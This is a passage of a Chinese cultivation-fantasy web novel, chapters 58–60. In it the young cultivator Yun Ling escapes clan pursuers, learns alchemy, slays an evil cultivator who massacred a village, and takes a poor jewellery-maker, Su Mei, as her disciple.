云灵的目光如寒星般冷冽,她并无杀人灭口之意。在这弱肉强食的修行世界,人人自危,谁又会多管闲事?
她不过斩了几个修士,这本是修行界的常态,何须大惊小怪?
她未曾想到,远处的窥视者会因其他原因而对她的行动造成威胁。
被人窥见毕竟不是好事,云灵转身欲提醒武媚儿。
“姐姐……”
云灵回头,却惊愕地发现武媚儿已不见踪影,只留下随风摇曳的花朵。
恰在此时,天际七名筑基修士御剑而来,目标显然是这片花海
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。他们一见云灵,立刻改变方向,直冲她而来。
云灵心中疑惑,她不过是做了人人都会做的事,何至于引来七名筑基修士?难道韩家洞虚不允许争斗?这规矩从未有人提及。
她怀疑自己是否疏忽了什么规则。
再次回头,武媚儿依旧不见踪影。筑基修士即将飞至,突然,地面伴随着轰鸣声震动起来,武媚儿所在之处传来一声爆音,一股凶猛的冲击波以此为中心,向四面八方扩散!
花海瞬间被荡开,无数蓝花连根拔起,花瓣凄惨飘散,烟尘四起。冲击波未停,继续向远处扩散,树木被撕裂,空中的筑基修士也抵挡不住,纷纷坠落。
不过一息时间,整个花海区域已变得一片狼藉,视野之内,只剩下一地残渣。
“发生了什么?”云灵满脸茫然,她完全不知发生了什么,为何连远处的筑基修士都能打飞的冲击波却偏偏放过了她?
既然武媚儿已不见,云灵也无需留在此地。她运转身法,往筑基修士的反方向掠去。
“哇!”被冲击波击倒的筑基修士浑身无力,一边口吐鲜血,一边只能眼睁睁看着云灵逃离。
又有两道身影飞来,见族兄倒地,忙停下来询问。
“快!快追……咳咳!那个女孩可能拿到了古修士的东西!”筑基修士满嘴是血,却急切地指引族兄们去追云灵。
能让一个炼气修士击倒七名筑基修士,造成如此巨大损伤的,除了古修之物还能是什么?
“古物!”两人脸色一肃,立刻催动法剑向云灵狂追而去。
飞行终究比云灵快,不久云灵便被追上。
“站住,把古物交出来!”
两个筑基修士,一前一后将她包围,阻断了云灵的去路。
“什么古物?”云灵不解地问道。
“哼,敬酒不吃吃罚酒,看来你是不愿意交了?”
两个修士对视一眼,已做好决断,既然她不肯交,杀了自取也是一样的。
“唰唰!”
两人提着法器向云灵劈来,在他们眼中,小小一个炼气修士,根本不需动用什么手段,只需一剑,便可劈成两半。
见有杀意,云灵意念一动,调用凤女神火,显化百道火焰,向两个筑基修士袭去。
他们自信能一剑将云灵劈成两半,如今却惊恐地发现,他们法器散发的能量在这些火焰面前,呼吸间便消失得无影无踪。
连他们手持的法器,也在转眼间消失无踪,再之后,他们连恐惧都未及展现,便消散在天地间。
这一幕,不过是电光火石之间。
云灵收回凤女神火,转身离开了此地。
……
云灵在一棵参天古树下盘坐,长长地叹了一口气。今日之内,她遭遇了数波截杀,还都是韩家人,让她无语至极。
“后悔吗?”一个熟悉的声音在旁边响起。云灵抬头,只见大树枝干上,一个美艳的女子出现在自己眼前。
“后悔什么?”云灵不解地问道,许久未见武媚儿的容颜,还真有些想念,所以云灵说话的当口,趁机多看了两眼。
“后悔答应帮我。”武媚儿的眼中流露出一丝歉意。
武媚儿这个人,无论是语气还是行事,云灵都容易忽略她是一个元婴修士,只会让她当成一个同辈相处。
“我很抱歉,”武媚儿沉默了一会儿,真诚地说,“我真的挺喜欢你的,这件事我不期望你的原谅,我……”
云灵打断她,哼哼道:“姐姐怎么知道我很后悔?那么,你是不是该给我什么补偿?”
武媚儿一听,就知道她没生气,她扑哧一笑,手中显化三株小树苗,递给云灵,真诚地说:“当然要补偿,云灵妹妹为我受了罪,这是我在古地得到的,对我而言没什么大用,便当做补偿你的吧,还请云灵妹妹见谅。”
云灵接过这三株树苗,问道:“姐姐以你的实力,直接抢了来不就好啦?为何还要多此一举?”
武媚儿咬了咬鲜艳的红唇:“我是合欢宗的宗主,这种事,怎能明着来呀?”
云灵一听就明白了,没想到这位姐姐来头这么大,她眯眼笑道:“那么,宗主姐姐,我原谅你了!”
58. 修行世界
武媚儿试探问道:“云灵妹妹,你可曾有宗门?”她见云灵年纪轻轻,已有练气六层的修为,且那火焰之威,连筑基修士也难以抵挡,心中不禁生出招揽之意。
云灵轻轻摇头,婉拒道:“没有。我并无加入任何宗门的打算,还请姐姐见谅。”
武媚儿见她如此,也不强求,只是轻轻捏了捏云灵的脸蛋,笑道:“那好吧!今后云灵妹妹若想去合欢宗作客,只需通知我一声。现在,我们先加个通讯吧!”
云灵取出通讯玉牌,与武媚儿交换了通讯方式。在武媚儿转身欲离去之际,云灵叫住了她,说道:“姐姐可否答应我一件事?”
“何事?”武媚儿疑惑地问。
“我希望姐姐能不茹荤,不妄杀,可以吗?”云灵的语气中带着一丝恳求。她已看出武媚儿身上的罪孽,若不及时消去,将来的路恐怕不会走得太远。
武媚儿娇笑出声,既不答应也不拒绝。她瞬间来到云灵面前,在云灵的小嘴上亲了一口,然后带着媚笑飞身离去。
云灵呆立原地,她的初吻就这样没了?
“啊啊啊!”
那柔软的触感,那艳香的回味,那心跳的狂乱,让她面红耳赤,羞涩不已。
她跺了跺脚,带着一丝留恋和不满,转身进入了云霞世界。
云灵不知武媚儿给的三株小树苗是何物,便让云霞在灵药山演化了万株,并加速它们的生长。
转眼间,这三种树苗已长至丈许高,硕果累累,每一棵都结有百枚果子。
这时,云灵才认出这三种树苗的真面目。
一种是回魂果,能令未魂飞魄散的生灵恢复生机,对于寿终正寝的生灵无效;一种是长生果,能增五百年寿命;一种是天灵果,食之能拥有天灵根。
这三种灵药,每一种都是世间罕见,放在外面的世界,是能轰动全世界的宝物。
云灵不过是为了武媚儿背了一次锅,竟能得到如此机缘,真是无本万利。
云灵思索片刻,又让云霞将这三种灵药各演化至十万棵。
如今,云灵的灵药山已拥有造灵果、天灵果、回魂果、长生果、凤灵果,各十万棵果树,各千万枚果子。
可以说,云灵的财富足以买下整个修行世界,她的资源,足以让任何宗门侧目。
******
云灵再次出现的时候,眼前是一座巍峨耸立的城池——巨兔城。
城池的雄伟与壮观,从那熙熙攘攘、络绎不绝的行人中便可见一斑。
刚踏入城门,一个梳着双髻的小女孩便迎上前来,用甜美的声音询问云灵是否需要引路服务。
云灵轻柔地抚摸小女孩的小脑袋,让她介绍了巨兔城的概况。
小女孩热情地向云灵介绍了当地的风土人情、各方势力,以及城内的各种信息。
她的描述生动而详尽,仿佛一幅幅画卷在云灵眼前展开。
介绍完毕后,云灵拿出十枚灵石,放在小女孩的掌心,作为对她热情服务的报酬。
目送小女孩离开之后,云灵便前往此处的暮家商会,打算购买一件飞行法器。
刚踏入巨兔城的暮家商会,立刻有侍者迎上前来,礼貌地询问:“尊客,请问有什么能为您效劳的?”
“你们这有什么飞行法器?”云灵询问道。
“尊客,飞行法器种类繁多,若要一一介绍,恐怕一时半会儿说不完。请您亲自挑选。”侍者恭敬回答。
“那麻烦你带我去看看。”
“好的,请尊客跟我来。”侍者应道,随后引领云灵前往暮家商会的四楼,这里是专门售卖法器的区域,商品琳琅满目。
在众多飞行法器中,最出名的当属飞船,它们不仅容量大,而且价格昂贵,通常只有大宗门和顶尖宗门才能使用得起。
云灵在众多法器中挑选了许久,最终选购了一件紫金色的莲花,这才感到满意。
众所周知,练气期的修士无法飞行,只能依靠身法行走;筑基期修士虽能飞行,但时间有限;金丹修士虽能长时间飞行,却也不愿意随意消耗灵气。因此,飞行法器成为了最佳的出行方式。
“有没有丹炉售卖?”选购了飞行法器之后,云灵再次询问道。
“有的,尊客请跟我来!”侍者应答,引领着云灵往售卖丹炉的区域走去。
云灵之所以要买丹炉,是因为她想尝试炼丹,虽然她可以直接食用灵药,修炼也无需外物辅助,但万一未来有用得着的地方呢?
她挑选了此地暮家商会售卖最好的丹炉,与之前挑选的紫金莲花,便叫侍者带她去结算。
在侍者的引领下,云灵走向前台。
前台侍者核算了价格,云灵并不在意花费多少,她拿出暮璃赠送的紫金玉牌,准备享受折扣。
“尊客,您是选择记账还是直接购买?”侍者见到玉牌后,恭敬地询问。
云灵选择直接付账,她不需要记账。
侍者将紫金玉牌在前台的玉制平台上轻轻一刷,便给出了半价的优惠,云灵爽快地支付了灵石,这才离开了暮家商会。
云灵在巨兔城的繁华地段,精心挑选了一座庭院,其位置得天独厚,景色宜人,她打算在此长居。
庭院四周环绕着翠绿的竹林,院内小桥流水,假山奇石,无一不透露着房东的品味与追求。
炼丹,除了丹炉与火焰,还需灵药与丹方。
云灵拥有上好的丹炉,风女神火在手,此刻仅欠缺灵药和丹方。
修行界的基础丹方易得,但高阶丹方却极为珍贵,流传甚少。
云灵决定求助于大小姐,她不仅是丹法宗的嫡传弟子,更是暮家商会的未来执掌者。
正当云灵准备联系暮璃时,她在朋友圈看到暮璃发了一条状态:“每日都有男修试图接近,真是不胜其烦!”状态一出,朋友圈立刻热闹非凡,评论与点赞如潮水般涌来。
云灵也点了个赞,并留言:“大小姐要擦亮眼睛,男修们可都是大猪蹄子,别被甜言蜜语蒙蔽了。”
评论完,云灵通过通讯玉牌联系暮璃:“大小姐,现在有空吗?”
不久,暮璃回复道:“是云灵啊,我现在不忙,有何贵干?”
暮璃自从拥有了神祇真眼,她每天面对的几乎都是散发着恶臭的修士,这让她渐渐减少了与人的来往。尽管如此,仍有许多人试图接近她,这让她感到非常烦恼。
云灵直言请求:“大小姐,我想尝试炼丹,你能帮我找几份丹方吗?”
暮璃好奇地问:“以你的身家,还需要自己炼丹?”
云灵答道:“哎呀,只是想尝试一下。说不定将来会有用得着的地方。”
暮璃轻笑:“有事才找我,是不是太晚了?”
云灵连忙解释:“冤枉啊!我这不是怕打扰大小姐您嘛?我可是时时刻刻都在想念着美貌、善良、端庄、优雅的大小姐您啊!”
暮璃不为所动,提出条件:“找我帮忙,代价可不小哦。”
云灵表示愿意付出任何代价:“大小姐您说,只要您愿意帮忙,我以身相许都愿意。”
暮璃拒绝:“算了吧,就你那娇小的模样,我可不接受。”
她想起了管家提及云灵拥有仙府之事,因此准备试探真伪。她提出了自己的条件:“五枚凤灵果,一棵凤灵果树。”
云灵毫不犹豫地答应了:“好的,大小姐想要什么,我都满足您。”
暮璃心中已有答案,云灵的轻易答应,无疑暴露了她拥有仙府的事实。
她知道云灵之前只有那颗凤灵果树与十枚凤灵果,现在连讨价还价都不谈,直接就答应了,这还不能说明问题吗?
在通讯中,暮璃询问云灵:“你现在位于何处?”
云灵回答道:“位于巨兔城。”
暮璃随后告诉云灵:“你去巨兔城暮家商会,那里自会有人接见你,有你想要的丹方!”
云灵想了想,又请求道:“大小姐,如今我还欠缺灵药,可以请暮家帮我准备些灵药种子嘛?”
“一并满足!”大小姐暮璃简洁回应。
云灵又与暮璃交谈了一会儿,这才结束了通讯。
云霞世界内,云灵使唤云霞依照储物玉镯,又演化了一个储物玉镯。
她将武媚儿赠送的衣裳一一收入其中。这些衣裳,花哨而露骨,云灵自是不愿穿着,她将盛放这些衣裳的玉镯放置在竹屋的角落。
随后,云灵开始清点
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在秘境与洞虚中所得的储物袋。灵石、灵药被她留下,其余的物品,则调用凤女神火,烧得无影无踪。
第二天,云灵踏入暮家商会,道出名姓之后,商会中人立刻恭敬地迎她入内。
云灵从商会走出时,手中多了一块名为“万丹大全”的玉简,这玉简收录了修行界所有的丹方,无论是已知的还是失传的,无一不包。
这份大礼,是暮家大小姐友情相赠,市面上可购买不到,盖因这是暮家压箱底的宝贝之一呐。
云灵不禁感叹暮家的财大气粗和深厚的底蕴。
除了万丹大全,她还得到了天地玄黄四阶灵药种子,同样是大小姐的慷慨馈赠。
回到住处,云灵立刻进入云霞世界,将《万丹大全》细细阅读,几种基础丹方铭记于心,这才开始她的炼丹之旅。
她的凤女神火是圆满之境,按照她的意念驱使,威力大小随她心意。寻常低阶修士炼丹,需借助地火之力,而这地火,与凡火无异。
金丹期修士方能拥有丹火,无论何种灵根,皆能孕育出独特的丹火。木灵根的丹火最为出众,因其与灵植的天然契合,炼丹时更是得心应手。火灵根的丹火则以攻击力著称,炼丹屈居第二。
异火稀罕,能得之者寥寥无几。有幸获得异火的修士,往往预示着其未来的不凡。
在炼丹之前,云灵修习了一门基础术法——清洁术。她此前从未涉足术法,如今为了炼丹,不得不学习这门术法,避免亲自动手清理药渣。
一切准备就绪,云灵开始炼丹的第一步——温炉。
她从竹院内的灵泉中摄来灵水,放入丹炉,并运用清洁术将丹炉彻底清洗。
清洗丹炉后,云灵调用凤女神火,让其在丹炉下熊熊燃烧。
温炉之后,云灵打开炉盖,将灵米和一份丹灵草投入其中。
丹灵草是炼丹不可或缺的灵药,它能与各种灵药搭配,炼制成丹。若无丹灵草相配,则别想炼制成丹。
早前,云灵已经使唤云霞演化了许多的灵米与丹灵草,足够她炼丹消耗。而那些灵药种子,也早已经在灵药山瞬间长成灵药,每种至少有十亿株。
云灵在心中默念炼丹流程,随后加大神火的威力,保持在一个稳定的状态。
约莫五个呼吸后,炉内传来滋滋声响。
只见灵米与丹灵草渐渐软化,最终化为一团药液。
待药液完全形成,云灵运用神力开始去除药液中的杂质与丹毒。这一过程极为耗费心神,且繁琐至极。
云灵的神魂远超同境界修士百倍,去除杂质与丹毒对她而言轻而易举,只是嫌繁琐,不时抱怨一二。
药液化为乳白色后,云灵停止了去杂质与丹毒的操作,此时药液散发出灵米特有的香气。
她再次加大神火的威力,使乳白药液逐渐变得浓稠,最终化为一颗颗乳白的丹药。
意念驱使神火熄灭之后,云灵神力加持手掌,揭开火热的炉盖,用神力拘出那些乳白的丹药,放置在早已备好的玉盘中。
这些丹药,每一颗都是圆润乳白,共计百颗,散发着特有的丹香。
云灵一眼便知,这些丹药均为上品。
丹药分为下、中、上、极品四等。
下品丹药色泽灰白,含六分丹毒,药效仅四分。中品丹药外形圆润脂白,含有四分丹毒,药效六分。上品丹药圆润乳白,含有两分丹毒,药效八分。而极品丹药则是纯白无暇,身具丹纹且无一丝丹毒,药效亦是完美无瑕。
云灵首次炼丹便能炼出百枚上品辟谷丹,心中不免生出几分自豪。
寻常修士初试炼丹,往往只敢小批量尝试,一次不过炼制一枚或数枚,炼制失败或炸炉乃是常事。
云灵的炼丹过程却异常顺利,她自己也不确定,这究竟是因为她天赋异禀,还是因为凤女神火威力无穷,亦或是她神魂异常强悍之故。
在心中暗自夸赞自己一番后,云灵便开始清洗丹炉。丹炉内只剩下一些药渣,这些都是炼丹过程中的杂质,含有丹毒。
云灵不顾丹炉依旧火热,直接摄来灵水放入其中,一股热雾随之升腾。她运用清洁术,将丹炉彻底清洗,然后再次驱使凤女神火,准备炼制第二炉丹药。
59. 修行世界
云灵在丹房中度过了一天,炼制了五十炉丹药,共计五千枚辟谷丹。
她不断尝试,逐渐掌握了炼丹的诀窍。在第十一炉中,她终于炼制出了极品丹药,每一颗都纯白无瑕,身具丹纹。
云灵又使唤云霞演化了一个储物玉镯,专门盛放这些丹药,并要求云霞给这个储物玉镯隔绝时间,这样哪怕放置万年,依旧如初。
接下来的日子里,云灵上午修炼,下午炼丹,晚上继续修炼,生活过得异常充实。
时间如白驹过隙,四年过去,云灵的炼丹技艺已达到炉火纯青之境,每一炉都是极品丹药,而源源不断的灵药供应,让她永远炼制不完。
现在的她,根骨和姿容依旧是盈盈十五的模样,身高依旧是一米五。
按照神祇宝典的说法,除非她不再是神祇,否则她的姿容与身高,将永恒不变。
如今,二十岁的云灵修为已至筑基期,无论是神魂、身躯强韧度、神力,都是同境界修士的百余倍。
云灵盘坐在紫金莲台之上,缓缓飘行于天际,沿途的山川河流尽收眼底,宛如一幅流动的画卷。
她身家丰厚,却无事可做,日复一日的平淡让她感到无比的无聊。
紫金莲已在空中飘行了月余,云灵却无半点降落之意。
这日,云灵经过一个村子,从高空俯瞰,只见村中毫无生机,一片死寂。她凝眸细看,只见残垣断壁,血迹斑斑,一股刺鼻的血腥之气随风飘来。
再定睛一看,村道上血迹已干,残肢断臂散发着腐臭,云灵驱使紫金莲缓缓降落于村中,一股浓郁的罪孽之气扑面而来。
云灵缓步走在村道上,每一步都踏在干涸的血迹和破碎的瓦砾之上。四周的房屋大多已经倒塌,只有少数几间还勉强立着,摇摇欲坠,仿佛随时都会崩塌。
现场残留的罪孽之气浓郁至极,云灵心中明白,那作恶之人必定刚离开不久。她顺着这股气息,紧追不舍……
山洞之中,一名身着黑袍的修士盘膝而坐,面前摆放着一面散发着邪气的鬼魂幡。那修士干瘦如柴,口中念念有词,不时捏着手诀,显然正在进行某种不为人知的仪式。
再看那鬼魂幡中,不时有魂魄挣扎求饶,但黑袍修士却无动于衷。在他的手诀之下,这些魂魄不久便化为鬼魂幡内最强大的魂魄的食粮。
“桀桀桀!再过不久,就大功告成了!”黑袍修士名为朴卓仁,他的声音中带着一丝邪气。
朴卓仁,一个灵根低微,不被宗门看重的修士。后来被一个邪修抓去,成了奴仆。他凭借机智,在那邪修手中保住了性命,并且逐渐被看重。直到某日,那邪修与人斗法受了重伤,他趁机将其击杀,继承了一切。
这些年来,在他手中死去的生命不计其数,他凭借机智,无往不利,否则也不能生存至今。
这面鬼魂幡中,存在着一个强大的鬼魂,是他这些年来一步步养成的。他与鬼魂幡中的魂魄相辅相成,那魂魄越强大,他的实力也越强,可以说是一荣俱荣。
“那村子里的人,都是你杀的?”忽然,一道清灵却又如同寒冰的声音响起。朴卓仁心中一惊,搜寻声音的来源,只见洞外,不知何时出现了一位身着玫瑰凤纹裙,赤着一双美足,宛如皎月的少女。
外表年龄对于修士而言,并不代表实力。实力越高,外表的衰老越缓慢,许多高深境界的修士,外表就如同定格了一般。因此,朴卓仁并没有因为少女的外表而有丝毫轻视,反而是警惕横生。
作为一个邪修,他的生存本领是合格的。在洞外,他不仅设置了隐匿阵、防护阵,还有一门攻击阵法。寻常修士,如果不是对阵法颇有研究的,想要发现他,也是难上加难。眼前这位容颜无双的少女,却能透过层层阵法看到他,由不得他不警惕。
这容颜无双的少女虽美,朴卓仁却没有丝毫兴趣。他对于实力更看重,只要有了实力,想要什么都有。
“你是谁?”朴卓仁开口问道,如果是没有靠山的,那么他不会手下留情;如果是有靠山的,那么他也只能想办法逃了。
眼前这位少女修为不过是筑基期,如果是有靠山的,朴卓仁也只能先说好话,要是这少女还是不依不饶,他也不会去招惹。
经过朴卓仁多年的生存经验,有靠山的人,万万不能惹。谁都知道这些人都有保命手段,而且追踪起来,那手段海了去了。
寻常时候也没什么人会管他,毕竟这是一个修行世界,凡人在这些修士眼中,并不是很重要。如果不是掌管这方地域的势力,很少会有修士多管闲事。
眼前这位少女,则是少见的多管闲事那一类。
“杀你的人!”在朴卓仁惊骇的目光中,那少女一步踏入洞内,而那些阵法,丝毫反应都没有!
“死也要让我死个明白吧?敢问阁下是哪家大小姐?”
一身华丽昂贵的法衣,身戴极品储物玉镯,这可不是一般人所能拥有的,因此,朴卓仁才有此一问。
仿佛是看穿了朴卓仁的想法,少女冷笑着回道:“无需忧虑,我只是散修罢了!”
“呵!既然阁下是散修,就该明白,有些人是你招惹不起的。”得知少女是散修后,朴卓仁的语气中多了几分轻蔑,不再掩饰自己的真面目。
“确实如此。”少女冷冷一笑,话音未落,她已一拳击出,直取朴卓仁。
朴卓仁大惊,没想到这筑基期的少女竟敢率先发难。他身形一晃,险险避开了这雷霆一击。只见那拳头轰在洞壁之上,整个山洞随之震荡,随时都会崩塌。
朴卓仁心中一凛,知道这山洞狭小,不宜斗法,他立刻摄起鬼魂幡,身形一闪,率先冲出了洞外。
少女紧随其后,追出了洞外。朴卓仁见状,冷笑一声,祭出鬼魂幡,召唤内里的魂魄助战。
阴风阵阵,鬼哭狼嚎,不多时,一个满身煞气的魂魄显化而出,嘶吼着向少女扑去。
少女不闪不避,只见她身上突显火焰。在朴卓仁惊骇的目光中,他祭炼多年的魂魄,竟在火焰的包裹下,转瞬间消散无踪。
“呃!”魂魄一散,朴卓人的修为也在肉眼可见的速度倒退。
“不要……”
他还来不及嚎叫恐惧,便已失去了意识。
一代金丹邪修,就此陨落!
云灵一拳打爆朴卓仁,回到那村子,她驱使着凤女神火,将整个村子包裹。在凤女神火的烧灼下,村子瞬间化为乌有,连一片瓦碎都未留下,仿佛那村子从未存在过。
解决了一切,云灵驱使着紫金莲,缓缓升到天空,往东南方向飞去……
云灵在空中飘荡,一路欣赏美景,这日,她远远地望见了一座巍峨的城池,它如同巨兽盘踞在大地之上。
这是她所经过的城池中最为宏伟的一座,她决定降落在城门前,前往游玩。
如今的云灵,已是二十二岁的妙龄少女,修为也达到了练气七层。
站在城门前,望着城门上娟秀的“岭南城”三个大字,心中涌起一股久违的亲切感。她几乎已经忘记了自己诞生之地的模样,但这个名字,却让她感到温暖。她决定,就在这里长居。
踏入城内,云灵找了一个引路的小女孩。
据小女孩所述,岭南城在修行界中位列顶尖之一,因邻近的岭南山脉而得名,那山脉资源丰富,妖兽横行,甚至偶尔能见到五阶妖兽的踪迹。
城主是暮家现任家主,修为已达元婴大圆满之境……
听完小女孩的讲解,云灵付了十枚灵石作为报酬,决定先去城内西南角的岭南广场逛逛。
半个时辰后,她便抵达了目的地。
只见广场上修士云集,热闹非凡,各个摊位前,声音此起彼伏,充满了活力。
“各位道友,走
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过路过,不要错过!这里有回春丹、补血丹、补气丹,助您一臂之力!”一个摊主大声吆喝,吸引着过往行人的注意。
“看看这些符篆,物美价廉,攻击力强劲,探险历练必备之物!”另一位摊主也不甘示弱,展示着手中闪烁着灵光的符篆。
“道友们,这些法器灵气四溢,攻击力惊人,快来选购吧!”又一个摊主推销着自己的法器。
广场上,有的宗门子弟面色倨傲,张扬肆意;有的散修低调内敛;还有一些企图捡漏的修士,各怀心思。
宗门弟子往往三五成群,衣着统一,出手阔绰,成为摊主们眼中的“大肥羊”。每当他们出现,摊主们便热情招呼。
云灵的目光被一个摆满饰品的摊位吸引。
哪个女子不爱美?摊位上的精美钗子、头饰花、项链、耳环、戒指、梳子等,让她目不转睛,流连忘返。
云灵的储物玉镯虽能储物,是为修士所用,价格高昂,但与这些饰品相比,却不够精美,好似粗制滥造。
云灵看了会儿饰品,又细细打量这摊子后的年轻女子,只见她桃李年华,长得清秀可人,身材高挑,虽衣着简朴,却干净利落。
“仙子,这些饰品您若喜欢,尽管试戴。”摊主的语气中带着一丝卑微,言语中自有一股轻柔。
云灵再次确认:“这些饰品我都可以拿来细看吗?”
“当然可以,仙子请随意。”女子微笑着回答,尽管她的笑容得体,但云灵还是感受到了她的卑微。
云灵拿起一枚木钗,越看越觉得喜爱。这钗子制作得极为精巧,她又陆续拿起头饰、项链等,一一观赏,发现每一件的工艺都极为相似,即便是在神祇真眼的观察下,也找不出什么差别。
“这些饰品都是你亲手制作的吗?”云灵好奇地问。
“回仙子,确实都是小女亲手所作。”女子回答。
得知这些精美的饰品都是出自这位女子之手,云灵心中更是赞赏。她在摊子上挑选了一件木钗、两个玫瑰样的头饰、一条宝石项链、两个耳环、一个玉镯。
挑选完,云灵问道,“不知可否请你帮我佩戴这些饰品?”
“仙子,请随我这边坐,我来为您佩戴花饰。”女子柔声引导。
云灵绕过摊子,发现摊后设有一张凳子,前有一面铜镜。在女子的引导下,她端正坐下。
女子手持一把精致的梳子,轻柔地为云灵梳理着发丝,随后精心地为她梳了个云髻,再细心地为她戴上木钗、头饰花、项链、耳环、手镯。
云灵平素并不擅长打理发丝,总是任由长发披肩。如今,在女子的巧手下,她的发型焕然一新,铜镜中的自己让她几乎不敢置信。
在女子的巧手装扮下,云灵的姿容更添三分,她第一次体会到,小说中所描述的“美到窒息”的感觉。
云灵在铜镜前顾影自怜,欣赏着自己的新造型,心中暗自欢喜。随后,她取出十枚灵石递给女子,正欲开口,却见女子急忙摆手:“仙子,这些饰品只需八十灵珠,您给的太多了!”
女子自十二岁起便跟随姐姐在此摆摊,姐姐去世后,她便独自经营。多年来,她遇到的修士总是高高在上,对这些凡俗饰品不屑一顾,甚至出言贬低。这便是她在云灵面前显得卑微的原因,因为在她心中,修士与凡人之间有着不可逾越的鸿沟。
凡人虽喜欢她的饰品,却常因价格昂贵而却步,让她的生意难以为继,连摊位租金都成了负担。云灵如此慷慨,对她来说是破天荒的第一次,她心中感激不尽,却不敢接受这么多灵石。
“收下吧!灵石对我而言,并不重要!”云灵温声说道,随后直接将灵石放入女子的掌心。她这番话并非是炫耀自己灵石之多,而是希望女子能够安心接受这份报酬。
“多谢仙子!”女子紧握着手中的灵石,感激说道。
……
60. 修行世界
夕阳如血,洒在了繁华的广场上,女子轻拢发丝,开始收拾摊位,准备回家。
广场上人声鼎沸,但她的摊位却显得格外孤寂,仿佛被遗忘的角落。对她而言,早归晚归,并无太大差别。
正当她收拾得差不多时,一道身影悄然出现,让她心头一惊。她恭敬地问道:“仙子,可是有物品遗落?”
“没有,没有。”云灵摆了摆手,好奇问道,“我见你身怀灵根,为何不拜入宗门修炼呢?”
云灵之所以回头询问,是因为她发现这女子神魂纯净,正是神祇喜爱的生灵。她不解,为何这姑娘拥有灵根,却似乎未曾修炼。
在修行界,无修为之人要么是孩童,要么是凡人。凡人无灵根,自然无法修炼;孩童尚未拜入宗门,也无修为。但这位女子,正值妙龄,却未踏上修炼之路,这让云灵感到好奇。
“仙子不知,小女资质低下,曾想拜入宗门,却未被选中。”
女子的声音中带着一丝无奈,她何尝不想修炼成道,追求长生不老?但她的资质实在太低,连做宗门杂役都不够资格。即便是最小的宗门,也未曾对她投来关注的目光。
云灵细看之下,发现这女子的灵根纯度极低,几乎可以忽略不计。她轻声问道:“你可有父母?”
“父母早年已经过世。”女子回答,她的语气平静,似乎对父母的离世并没有太多悲伤。
“那你可有兄弟姐妹?”云灵的声音更加温和。
“家姐也已经过世。”女子的声音开始哽咽,眼中泛起泪光。她的姐姐含辛茹苦将她养大,却未能享受应有的幸福,便被病痛夺走了生命。这是她心中永远的痛。
云灵触及了女子的伤心往事,她心中愧疚,虽然不擅长安慰人,却还是轻声说道:“抱歉,我无意让你回忆起这些,你姐姐在天之灵,定是希望你过得快乐幸福。别哭了,好吗?”
女子听到这些话,心中更是悲痛,泪水如断了线的珠子,滚滚而下。云灵手忙脚乱,用衣袖小心翼翼地为她擦拭眼泪,笨拙地安慰道:“如果你真的很伤心,我...我不太会安慰人,要不你抱着我哭一会儿?”
女子泪眼朦胧地看了云灵一眼,继续哭泣。
云灵无奈,只好上前,将她轻轻拥入怀中。
尽管云灵身高只有一米五,而女子身高足有一米七五,这拥抱看起来有些滑稽,但云灵的怀抱却给了她一丝温暖。
“噗嗤!”女子突然破涕为笑,觉得这一幕颇为可爱,她带着哽咽的声音问道:“仙子,您真的是修士吗?”
修士向来高高在上,很少会关心凡人的感受,更不用说像云灵这样安慰一个素不相识的凡人了。这让女子不禁怀疑云灵的真实身份,但如果不是修士,她那身衣裳的材质,又怎会如此不凡?
云灵见女子不再哭泣,便放开了拥抱,她刚才本想拥抱着她,摸摸她的头顶以示安慰,没成想,她的身高却不允许这样做。
听到女子的疑问,云灵手指一点,一道火焰在她指尖跳跃,她带着一丝傲娇的语气说:“这自然不是假的,怎么样?你愿意拜我为师吗?”
女子惊讶地回答:“仙子,您别拿我取笑了,我资质低下,自己心里有数。”
“我可不是开玩笑,我是认真的!”云灵认真地说。说完,她将女子的包裹和摊位一并收入储物玉镯内,拉着女子就走。
女子还没反应过来,就发现自己的摊位和饰品不见了,她急忙说:“仙子,我真的不能拜你为师。”
云灵对苏梅的资质并不在意,她一边牵着她走,一边坚定地回道:“无论你资质如何,我都有办法让你修炼。”
苏梅本想挣脱,但云灵握着她的手坚定有力,既不让她挣脱,也没有让她感到疼痛。无奈之下,她只得放弃了挣扎。
两人走出了广场,云灵停下脚步,依旧牵着苏梅的手,问道:“你如今无牵无挂,便随我走吧!你叫什么名字?”
“回仙子,我叫苏梅。”女子轻声回应。
“嗯,你家在哪里?”云灵这才意识到自己还未问清苏梅的住处,便已牵着她走了出来。她自己也不清楚现在身处何方。
“仙子,请跟我来。”苏梅主动上前,为云灵指引方向。
“好,你带路。”云灵简洁地说道。
苏梅正要带路,却发现云灵仍旧牵着她的手,她轻声提醒:“仙子,能否先放开我?”
云灵却拒绝:“不行,我若放开你,你跑了怎么办?”
苏梅无奈,只得任由云灵牵着,两人再次朝广场方向走去。一路上,苏梅手心与心身感到一丝暖意,除了已故的姐姐,这是第一次有人如此待她。
穿过广场,又走了一个多时辰,两人终于来到了苏梅的家。这是一座有些年头的青砖瓦房,瓦片已经显得破旧,但房屋前的小菜园里,蔬菜长得郁郁葱葱,生机勃勃。
“仙子,我先去做饭。”苏梅说着便要开始忙碌。
云灵走进屋内,只见屋内陈设简单却干净整洁。听苏梅要去做饭,她本想阻止,但转念一想,自己现在没有固定居所,苏梅即将成为她的弟子,暂时住在这里,似乎也很合理。于是她交待一声:“苏梅,我不食荤腥,全素便可。”
两刻钟过后,苏梅端着一锅热气腾腾的米饭和一碟绿油油的炒菜走进了厅堂,将饭菜摆放在那张显得有些破旧的木桌上。她拿出两副干净的碗筷,再次清洗后,为云灵盛了一碗饭,这才恭敬地请她入座。
“仙子,寒舍简陋,若有不周之处,还请您见谅。”苏梅在饭前说道。
云灵看着这简单却用心的饭菜,感到十分满意。她回答道:“无需介意,我过去也曾风餐露宿,食草根野菜,这些对我来说不算什么。”
苏梅听后,心中惊讶,没想到这位仙子竟有过如此艰苦的经历。
两人在愉悦的氛围中用完了晚膳。饭后,苏梅洗净了碗筷,接着开始为云灵在姐姐曾住过的房间里整理床铺。她还打算晚上制作首饰,时间对她来说非常紧迫。
整理好床铺后,苏梅请云灵进屋休息,云灵手心中显化出一颗鲜红的果子,递给苏梅,“今晚你就吃了这果子,明天一早我们就举行拜师仪式。”
苏梅接过果子,满腹疑惑:“敢问仙子,这是什么果子?”
云灵温笑:“这是颗灵果,对你大有裨益。在食用前,你先准备十几桶热水,当然,冷水也可以,吃了这果子后,你也不会生病。”
“为什么要准备热水呢?”苏梅好奇地问。
“你吃了自然就会明白。”云灵神秘地说,然后将苏梅轻轻推出房间,让她去准备。
